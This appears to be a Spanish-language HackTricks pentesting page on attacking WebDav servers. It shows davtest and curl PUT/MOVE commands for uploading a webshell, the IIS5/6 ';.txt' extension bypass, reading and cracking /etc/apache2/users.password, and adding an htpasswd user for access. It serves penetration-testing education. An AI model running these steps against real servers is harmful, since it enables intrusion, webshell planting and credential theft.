WebDav
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Al tratar con un servidor HTTP con WebDav habilitado, es posible manipular archivos si tienes las credenciales correctas, que generalmente se verifican a través de HTTP Basic Authentication. Obtener control sobre dicho servidor a menudo implica la carga y ejecución de un webshell.
El acceso al servidor WebDav generalmente requiere credenciales válidas, siendo WebDav bruteforce un método común para adquirirlas.
Para superar las restricciones en la carga de archivos, especialmente aquellas que impiden la ejecución de scripts del lado del servidor, podrías:
- Cargar archivos con extensiones ejecutables directamente si no están restringidos.
- Renombrar archivos no ejecutables cargados (como .txt) a una extensión ejecutable.
- Copiar archivos no ejecutables cargados, cambiando su extensión a una que sea ejecutable.
DavTest
Davtest intenta cargar varios archivos con diferentes extensiones y verificar si la extensión es ejecutada:
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
Esto no significa que las extensiones .txt y .html se estén ejecutando. Esto significa que puedes acceder a estos archivos a través de la web.
Cadaver
Puedes usar esta herramienta para conectarte al servidor WebDav y realizar acciones (como subir, mover o eliminar) manualmente.
cadaver <IP>
Solicitud PUT
curl -T 'shell.txt' 'http://$ip'
Solicitud MOVE
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
Vulnerabilidad de WebDav en IIS5/6
Esta vulnerabilidad es muy interesante. El WebDav no permite subir o renombrar archivos con la extensión .asp. Pero puedes eludir esto agregando al final del nombre ";.txt" y el archivo será ejecutado como si fuera un archivo .asp (también podrías usar ".html" en lugar de ".txt" pero NO olvides el ";").
Luego puedes subir tu shell como un archivo ".txt" y copiar/moverlo a un archivo ".asp;.txt". Al acceder a ese archivo a través del servidor web, será ejecutado (cadaver dirá que la acción de mover no funcionó, pero sí lo hizo).
Credenciales posteriores
Si el Webdav estaba usando un servidor Apache, deberías mirar los sitios configurados en Apache. Comúnmente:
&#xNAN;/etc/apache2/sites-enabled/000-default
Dentro podrías encontrar algo como:
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
Como puedes ver, hay archivos con las credenciales válidas para el servidor webdav:
/etc/apache2/users.password
Dentro de este tipo de archivos encontrarás el nombre de usuario y un hash de la contraseña. Estas son las credenciales que el servidor webdav está utilizando para autenticar a los usuarios.
Puedes intentar crackearlas, o agregar más si por alguna razón deseas acceder al servidor webdav:
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
Para verificar si las nuevas credenciales están funcionando, puedes hacer:
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
Referencias
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.